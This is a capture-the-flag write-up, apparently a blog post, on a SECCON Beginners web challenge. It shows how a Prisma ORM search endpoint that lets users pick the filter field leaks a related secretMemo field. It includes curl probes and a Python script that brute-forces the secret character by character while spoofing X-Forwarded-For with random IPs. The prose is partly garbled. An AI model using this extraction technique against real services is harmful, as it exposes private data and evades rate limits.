Hack. Eat. Sleep. Repeat!!!
Express api using PRISMA orm to interact with the database. ORM is known as the Obhects Relational Mapping which defeats the idea of using traditional sql queries to interact with databases but with the aid of object relational programming.Prisma is good example of ORM and it is used in this instance await prisma.user.findMany({
include: {
posts: true,
},
})
try {
const filterWhere = isAdvancedSearch({
field: req.query.field,
op: req.query.op,
value: req.query.value,
})
? buildAdvancedWhere({
field: req.query.field,
op: req.query.op,
value: req.query.value,
})
: buildKeywordWhere(req.query.q);
//Attacker can control fields, operation and value
const articles = await prisma.article.findMany({
where: {
AND: [{ published: true }, filterWhere],
},
orderBy: { id: "asc" },
select: articleSelect,
});
isAdvancedSearchfilter.ts in the code which provides the method isAdvancedSearch.const ALLOWED_FILTER_ROOTS = new Set(["title", "body", "author"]);
const ALLOWED_OPERATORS = new Set(["eq", "contains", "startsWith"]);
const TO_ONE_RELATIONS = new Set(["author", "profile"]);
title,body,author.eq,contains and startsWithschema.prisma-:generator client {
provider = "prisma-client"
output = "../src/generated/prisma"
}
datasource db {
provider = "sqlite"
}
model User {
id Int @id @default(autoincrement())
name String @unique
role String
profile Profile?
articles Article[]
}
model Profile {
id Int @id @default(autoincrement())
displayName String
bio String
secretMemo String
userId Int @unique
user User @relation(fields: [userId], references: [id])
}
model Article {
id Int @id @default(autoincrement())
title String @unique
body String
published Boolean @default(true)
authorId Int
author User @relation(fields: [authorId], references: [id])
@@index([published])
}
findMany is Article, we can only read a field from another model with the aid of To-One relations because the field created in the model points to another field in a different field which allows us to also point to another field in that model.e.gIf we are to read field
secretMemoin modelProfilefrom modelArticle. It will be from fieldauthoras it referencesidinUser. Then, point toprofilewhich inherits the modelProfileand lastly point tosecretMemowhich is astringfield in modelProfile.
author.profile.secretMemo
startsWith and fuzz for characters with that operator.We can also confirm with eq which is eqaulsto confirm if the found characters are correct.The next step is to get the result for true and false statements in order to write a script.╭─ ~/Documents/footnote at 19:17:48 ─╮
╰─❯ curl http://footnote.beginners.seccon.games:44566/api/articles/search\?field\=author.profile.secretMemo\&op\=startsWith\&value\=b ─╯
{"count":2,"articles":[{"id":1,"title":"朝の図書室から","body":"開館前の図書室には、まだ誰の足音もありません。窓際の机に光が差し込み、昨日返された本の背表紙だけが静かに並んでいます。棚を整えていると、誰かが挟んだ古いしおりが見つかりました。","author":{"profile":{"displayName":"admin","bio":"編集長。記事の裏側にある小さなメモを管理している。"}}},{"id":4,"title":"古い掲示板の手紙","body":"公民館の入口にある掲示板には、何年も変わらない画鋲の跡があります。新しいお知らせの隅に残った日焼けの形を見ると、ここで何度も季節が入れ替わったことが分かります。","author":{"profile":{"displayName":"admin","bio":"編集長。記事の裏側にある小さなメモを管理している。"}}}]}%
─ ~/Documents/footnote at 19:18:42 ─╮
╰─❯ curl http://footnote.beginners.seccon.games:44566/api/articles/search\?field\=author.profile.secretMemo\&op\=startsWith\&value\=f ─╯
{"count":0,"articles":[]}%
#! /usr/bin/env python3
import requests
import string
from faker import Faker
faker = Faker()
url = "http://footnote.beginners.seccon.games:44566/api/articles/search"
secret = ""
charset = '0123456789abcdefghijklmnopqrstuvwxyz'
def check_secret(secret: str,ip: str):
data = {"field":"author.profile.secretMemo","op":"eq","value":secret}
count = requests.get(url,params=data,headers={"X-Forwarded-For":ip}).json()
if count["count"] == 2:
return True
else:
return False
while True:
for char in charset:
random_ip = faker.ipv4()
data = {"field":"author.profile.secretMemo","op":"startsWith","value":secret+char}
count = requests.get(url,params=data,headers={"X-Forwarded-For":random_ip}).json()
#print(f"Char::{char}:{count["count"]}")
if count["count"] == 2:
secret += char
print("[+] Found char:"+secret)
if check_secret(secret,random_ip):
print("[+] Secret found-: ",secret)
print("[+] Flag-> ",requests.post("http://footnote.beginners.seccon.games:44566/api/claim",json={"memo":secret}).json()["flag"])
exit()
else:
pass
ctf4b{r00t_f13lds_4r3_n0t_en0ugh}